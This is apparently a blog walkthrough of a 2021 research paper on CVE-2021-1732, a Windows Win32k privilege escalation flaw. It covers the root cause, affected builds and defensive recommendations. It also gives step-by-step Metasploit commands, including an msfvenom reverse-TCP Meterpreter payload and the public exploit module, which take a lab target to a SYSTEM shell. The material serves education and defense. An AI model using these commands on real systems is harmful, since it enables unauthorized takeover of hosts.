Windows Win32k Elevation of Privilege Vulnerability (CVE-2021-1732): Walkthrough of the ConsoleControl Offset Confusion

Windows Win32k Elevation of Privilege Vulnerability (CVE-2021-1732): Walkthrough of the ConsoleControl Offset Confusion

Original text: “Windows Win32k Elevation of Privilege Vulnerability (Win32k ConsoleControl Offset Confusion) — CVE-2021-1732”Safe Security research paper (June 3, 2021). Figures and commands below are reproduced verbatim with attribution captions.

Executive Summary

CVE-2021-1732 is a Win32k local privilege escalation vulnerability in the Windows graphics subsystem driver win32kfull.sys. The flaw, also referred to as Win32k ConsoleControl Offset Confusion, lets a user with an active interactive session on the target host execute code with NT AUTHORITY\SYSTEM privileges. Internally, the issue is an out-of-bounds write that arises when the kernel reads the cbWndExtra/WndExtra field of a window object as an offset rather than as a length, after the attacker has set the magic 0x800 flag on the window via NtUserConsoleControl. The vulnerability was discovered in the wild and attributed to the BITTER APT group; Microsoft patched it on February 9, 2021 (MSRC advisory CVE-2021-1732).

This article walks through the Safe Security 2021 research paper end-to-end: the root cause inside NtUserCreateWindowEx, the NtCallbackReturn trick used to corrupt the offset, the affected Windows 10 / Windows Server build matrix (1803 through 20H2), and a step-by-step Metasploit-based PoC that pivots from a normal Meterpreter session on a Windows 10 20H2 (build 19042.508) target to a SYSTEM-level session via the public cve_2021_1732_win32k module. The exploit is striking from a defensive standpoint because failed attempts do not bluescreen the host — the attacker can retry until the read/write primitive lands a token swap, making both detection signal and mitigation policy non-trivial.

Introduction

The vulnerability covered here was exploited in the wild by the BITTER APT group in a targeted operation disclosed in February 2021, and patched by Microsoft on February 9, 2021. The affected surface spans Windows 10 versions 1803 through 20H2, Windows Server 2019, Server 2004, and Server 20H2. Three concepts are worth pinning down before the technical detail:

Win32k

The Graphics Device Interface (GDI) gives applications a uniform way to render to monitors, printers, and other output devices. In user mode it lives in gdi.exe on legacy 16-bit Windows and gdi32.dll on 32-bit/64-bit Windows. Kernel-mode GDI support is provided by win32k.sys (and on modern builds win32kfull.sys), which talks directly to graphics drivers. Because Win32k sits in ring 0 and exposes a very large syscall surface (window management, USER, GDI, console), it has been one of the richest LPE sources for the last decade.

LPE (Local Privilege Escalation)

LPE is the act of exploiting a bug in the operating system or an application to gain access to resources normally protected from the current user or application. Practically, LPE on Windows usually means moving from a user-context shell to a SYSTEM-context shell on the same host — the precondition is “already on the box”, the post-condition is “owns the box”.

CVE-2021-1732

CVE-2021-1732 is exactly this kind of LPE: an attacker with an interactive session on a vulnerable Windows host can run a small, specifically crafted program that triggers memory corruption inside win32kfull.sys and ends up executing arbitrary code at SYSTEM. The bug is a boundary error — the kernel mishandles a value supplied by user mode and treats data as an offset, leading to out-of-bounds writes that the attacker uses to escalate a token of the target process.

Vulnerability Description

The root cause sits inside win32kfull!NtUserCreateWindowEx. The full path, paraphrased from the Safe Security paper:

  1. The vulnerability lives in the Windows graphics driver win32kfull!NtUserCreateWindowEx.
  2. When the driver win32kfull.sys calls NtUserCreateWindowEx to create a window, it checks tagWND->cbWndExtra (the amount of additional memory allocated for the window instance). When the value is not empty, the kernel calls win32kfull!xxxClientAllocWindowClassExtraBytes, which in turn calls back into user mode at user32.dll!_xxxClientAllocWindowClassExtraBytes to allocate the memory. After allocation, the address is returned to the kernel via NtCallbackReturn, which corrects the stack, returns to the kernel layer, and the kernel saves the value and continues execution. When the tagWND->flag contains the 0x800 attribute, however, the value is interpreted as an offset rather than a buffer address.
  3. The attacker uses NtUserConsoleControl to flip tagWND->flag so that it includes the 0x800 attribute.
  4. Even though this is a kernel-mode code execution and memory-corruption vulnerability, a failed attempt does not trigger a Blue Screen of Death (BSoD) — which means the attacker can simply retry the attack until it succeeds. The final step combines a read primitive and a write primitive to escalate the token of the target process.
Win32k NtUserCreateWindowEx normal vs attack call flow flowchart
win32kfull!NtUserCreateWindowEx vulnerability flowchart. Left: the normal allocation path round-trips from NtUserCreateWindowEx through xxxClientAllocWindowClassExtraBytes down to user mode and back. Right: the attack path keeps the same call chain but hooks the user-mode callback and calls Win32u!NtUserConsoleControl to add the 0x800 flag, then returns a fake value via Ntdll!NtCallbackReturn. Source: Safe Security research paper.

CVSS, Scope of Impact & Affected Versions

MetricValue
Base Score7.8 (as of 2021-03-26 02:46)
Impact Score5.9
Exploitability Score1.8
SeverityHIGH
CVSS v3 metrics as reported in the Safe Security paper. Source: Safe Security research paper.

Scope of Impact

  • Privilege Escalation: Remote attackers can force their privileges on vulnerable systems. The public exploit module covers only Windows 10 versions 1803 through 20H2.

Risk by Organisation Type

  • Government: Large and medium government entities — HIGH. Small government entities — MEDIUM.
  • Businesses: Large and medium business entities — HIGH. Small business entities — MEDIUM.
  • Home Users: LOW.

Affected Versions

  • Windows Server, version 20H2 (Server Core Installation)
  • Windows 10 Version 20H2 for ARM64-based Systems
  • Windows 10 Version 20H2 for 32-bit Systems
  • Windows 10 Version 20H2 for x64-based Systems
  • Windows Server, version 2004 (Server Core installation)
  • Windows 10 Version 2004 for x64-based Systems
  • Windows 10 Version 2004 for ARM64-based Systems
  • Windows 10 Version 2004 for 32-bit Systems
  • Windows Server, version 1909 (Server Core installation)
  • Windows 10 Version 1909 for ARM64-based Systems
  • Windows 10 Version 1909 for x64-based Systems
  • Windows 10 Version 1909 for 32-bit Systems
  • Windows Server 2019 (Server Core installation)
  • Windows Server 2019
  • Windows 10 Version 1809 for ARM64-based Systems
  • Windows 10 Version 1809 for x64-based Systems
  • Windows 10 Version 1809 for 32-bit Systems
  • Windows 10 Version 1803 for ARM64-based Systems
  • Windows 10 Version 1803 for x64-based Systems

Mitigations

Microsoft patched a wave of Win32k exploitation primitives in the Windows 10 Anniversary update build of the kernel component. Those mitigations — the result of proactive internal research — stop every in-the-wild instance of this exploit chain that Safe Security observed. The concrete defensive action is simple: apply the most recent cumulative update, or the targeted patch released on February 9, 2021:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1732

Exploit Implementation

Attack Scenario

Two VMware-hosted machines on the same lab network:

  • A target machine running a vulnerable Windows 10 build (here, 20H2, build 19042.508).
  • A Kali Linux attacker box with Metasploit Framework v6.0.40-dev installed.

The chain has two stages. Stage one: land a normal Meterpreter session on the Windows host (any initial-access foothold — here, a stand-alone malicious EXE produced by msfvenom). Stage two: against that session, run the exploit/windows/local/cve_2021_1732_win32k module, which injects CVE-2021-1732.x64.dll into a chosen Win32 process and triggers the offset confusion to spawn a second Meterpreter session under NT AUTHORITY\SYSTEM.

Step 1 — Target information and Windows version

Confirm the build on the target. The PoC was demonstrated against Windows 10 Pro version 20H2, OS Build 19042.508.

winver
Windows 10 Pro Version 20H2 OS Build 19042.508 winver System Information dialog
Fig. 1.1. Target build — Windows 10 Pro, Version 20H2 (OS Build 19042.508), x64, running in VMware. Source: Safe Security research paper.

Step 2 — Meterpreter payload

The victim’s host-based firewall must be disabled (or have outbound 4433/TCP allowed) for the initial reverse-TCP callback. On Kali, generate a 64-bit Windows EXE that opens a reverse Meterpreter shell back to 192.168.190.138:4433.

msfvenom -p windows/x64/meterpreter/reverse_tcp -a x64 \
  --platform windows -f exe \
  LHOST=192.168.190.138 LPORT=4433 -o /root/test.exe
msfvenom command generating windows x64 meterpreter reverse_tcp exe payload
Fig. 2.1. msfvenom emitting a 510-byte raw payload wrapped into a 7,168-byte Windows EXE that implements a reverse TCP stager. Source: Safe Security research paper.

Step 3 — Land a Meterpreter session with multi/handler

Start a generic payload handler in msfconsole, match the payload type and the LHOST/LPORT on the EXE, and run. Once test.exe is executed on the target, a Meterpreter session opens back to the attacker box.

use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.190.138
set LPORT 4444

(Note: the LPORT in this stage matches the value baked into test.exe at msfvenom time — substitute 4433 if you follow the previous step verbatim.)

Metasploit msfconsole multi/handler with reverse_tcp payload and LHOST/LPORT set
Fig. 3.1. Generic multi/handler configured with the same reverse-TCP payload that was baked into test.exe. Source: Safe Security research paper.

Once the target detonates the EXE, Meterpreter session 1 opens under the unprivileged target account — the sysinfo output confirms the build (Windows 10 build 19042, x64) and getuid shows the unprivileged user (DESKTOP-J34QNKO\Victim OS).

Meterpreter session 1 opened against Windows 10 19042 target, sysinfo and getuid showing Victim OS user
Fig. 3.2. Meterpreter session 1 opened on 192.168.190.98:60540. sysinfo shows Windows 10 build 19042 x64; getuid returns the non-privileged DESKTOP-J34QNKO\Victim OS account. Source: Safe Security research paper.

Step 4 — Find the local exploit module

Search Metasploit’s module catalogue for the public PoC of the CVE and select it. The first matching module is exploit/windows/local/cve_2021_1732_win32k (“Win32k ConsoleControl Offset Confusion”, rank good, public since 2021-02-10). Then enumerate its options to see what needs configuring.

search cve 1732
use 0
show options
Metasploit search cve 1732 returning exploit/windows/local/cve_2021_1732_win32k with show options output
Fig. 4.1. Metasploit returns one matching module — exploit/windows/local/cve_2021_1732_win32k. show options lists SESSION (required) plus the standard EXITFUNC / LHOST / LPORT payload options. The exploit target is “Windows 10 v1803–20H2 x64”. Source: Safe Security research paper.

Step 5 — Configure the exploit options

Point the exploit at the existing Meterpreter session (SESSION -1 is shorthand for “the most recent session”) and confirm the reverse-shell payload settings. LHOST is the attacker IP; LPORT 4444 is the second listener that will catch the privileged callback.

set LHOST 192.168.190.138
set session -1
show options
Metasploit cve_2021_1732_win32k module options with SESSION -1 LHOST 192.168.190.138 LPORT 4444
Fig. 5.1. Module options after configuration — SESSION -1, LHOST 192.168.190.138, LPORT 4444, target Id 0 (“Windows 10 v1803–20H2 x64”). Source: Safe Security research paper.

Step 6 — Verify the target is vulnerable

Before firing, run check to ask the module whether the target build matches what it knows how to exploit.

check
Metasploit check command output confirming target appears to be vulnerable
Fig. 6.1. check reports “The target appears to be vulnerable” against the Windows 10 19042 session, so the module is ready to fire. Source: Safe Security research paper.

Step 7 — Inject the DLL and escalate

Run the exploit. The module launches notepad.exe on the target, reflectively injects CVE-2021-1732.x64.dll into PID 884, sends the 200,262-byte staged payload back over 192.168.190.138:4444, and opens a second Meterpreter session under SYSTEM.

exploit
Metasploit cve_2021_1732_win32k exploit reflectively injecting DLL into notepad process and opening privileged session 2
Fig. 7.1. Exploit run — reverse TCP handler on 192.168.190.138:4444, AutoCheck passes, notepad.exe is launched to host the DLL, the DLL is reflectively injected into PID 884, the 200,262-byte stage is sent, and Meterpreter session 2 opens to the now-privileged target. Source: Safe Security research paper.

Step 8 — SYSTEM-level confirmation

Drop into the new session and confirm with getuid — the returned identity is NT AUTHORITY\SYSTEM, the most privileged local principal on Windows. sysinfo still reports the same host (Windows 10 build 19042), and a quick sessions listing shows both sessions side-by-side — the original unprivileged session 1 and the new SYSTEM-level session 2.

getuid
sysinfo
sessions
Meterpreter session getuid returning NT AUTHORITY SYSTEM with sysinfo and active sessions list
Fig. 8.1. getuid in the new session returns NT AUTHORITY\SYSTEM; the sessions list shows both the original unprivileged session and the new SYSTEM-level one. The escalation chain is complete. Source: Safe Security research paper.

Key Takeaways

  • Root cause is a length/offset confusion in Win32k. tagWND->cbWndExtra is supposed to be a byte count for the WindowClass extra bytes buffer, but if tagWND->flag has bit 0x800 set, the kernel reads it as an offset. The attacker plants both the bit and the value during the user-mode callback inside xxxClientAllocWindowClassExtraBytes.
  • The user-mode callback is the attack surface. Win32k legitimately exits ring 0 to call user32.dll!_xxxClientAllocWindowClassExtraBytes for the allocation. By hooking that call, the attacker injects NtUserConsoleControl with flag |= 0x800 and returns a controlled fake value via NtCallbackReturn. The kernel then writes through that “offset”.
  • Failed attempts do not crash the host. Unlike most kernel-mode primitives, missing the target here does not bluescreen Windows. The attacker can retry the exploit until the read/write primitive lands — an enormous reliability and OPSEC win for the attacker, and a real detection problem for the defender.
  • Token swap is the LPE step. Once the OOB write primitive is stable, the canonical Win32k LPE payload walks the EPROCESS list, locates the target process token and a SYSTEM token, and copies the SYSTEM token into the attacker process. From there, opening a Win32 process and reflectively injecting a Meterpreter stage gives a SYSTEM-level shell.
  • Surface is huge. Every Windows 10 build from 1803 through 20H2 and every Server 2019/2004/20H2 SKU is vulnerable pre-patch. The public Metasploit target is “Windows 10 v1803–20H2 x64”, which covers the bulk of Windows 10 deployments at the time of disclosure.
  • BITTER APT used it in the wild before disclosure. The bug was burned by a single observed operation, then patched in February 2021. Public PoCs and the Metasploit module appeared within weeks.

Defensive Recommendations

  • Patch. Apply the February 2021 cumulative update or any later Windows 10 / Windows Server cumulative on every host. Reference: MSRC advisory CVE-2021-1732.
  • Audit your Windows 10 build floor. Any host still on 1803, 1809, 1909, 2004 or 20H2 without the February-2021 (or later) cumulative update is exploitable today by a publicly available Metasploit module.
  • Treat “LPE precondition” as “already lost”. The exploit needs an active session on the box. Hardening initial access (phishing controls, application whitelisting / WDAC, EDR on every endpoint, strict outbound egress filtering) is therefore the practical mitigation for this class of bug.
  • Disable Win32k syscalls in attack-surface-reducible processes. Edge, Office and many other modern Microsoft binaries can ship with ProcessSystemCallDisablePolicy set so the process cannot reach Win32k from sandboxed renderers/content processes. Where you control your own binaries (e.g., your own browser-like sandbox), opt in.
  • Enable Hypervisor-Protected Code Integrity (HVCI) / Memory Integrity. HVCI prevents arbitrary kernel pages from being marked executable and significantly raises the cost of converting an OOB write into reliable kernel code execution.
  • Run Microsoft Defender Attack Surface Reduction (ASR) rules, especially “Block credential stealing from the Windows local security authority subsystem” and “Block process creations originating from PSExec and WMI commands”. The post-exploit Meterpreter behaviour shown in Fig. 7.1 — notepad.exe hosting an injected DLL and opening an outbound TCP socket — is exactly the kind of pattern ASR was built to catch.
  • Outbound egress filtering. The exploit chain requires two outbound TCP sockets from the target (4433/TCP and 4444/TCP in this PoC). Default-deny outbound to the Internet from endpoints, plus alerting on direct EXE→Internet sockets, breaks the second stage even if the kernel LPE succeeds.
  • Hunt for the post-exploit pattern, not the bug. Because failed exploit attempts don’t bluescreen the host, you lose the cheap “BSoD = someone tried” tell. Instead, look for NtUserConsoleControl invoked from unusual processes, a token-swap into NT AUTHORITY\SYSTEM on a process that doesn’t normally hold that token (e.g., notepad.exe, Office binaries, sandbox renderer hosts), and outbound network sockets from those same processes.

Conclusion

CVE-2021-1732 is a textbook example of a length-vs-offset confusion bug in a kernel-mode component that is reachable from any logged-in user via supported syscalls. The defining feature is operational rather than technical: failed exploit attempts don’t crash the host, which lets the attacker iterate until the OOB write succeeds. Patch coverage is the obvious answer; for hosts that can’t patch promptly, the defensive priorities are hardening initial access, reducing Win32k syscall reachability in sandboxed processes, enabling HVCI, and hunting for the post-exploit behaviour (Win32 process running with an unexpected SYSTEM token, opening an outbound TCP socket) rather than the kernel primitive itself.

References

Original text: “Windows Win32k Elevation of Privilege Vulnerability (Win32k ConsoleControl Offset Confusion) — CVE-2021-1732” research paper by Safe Security (June 3, 2021).

Comments are closed.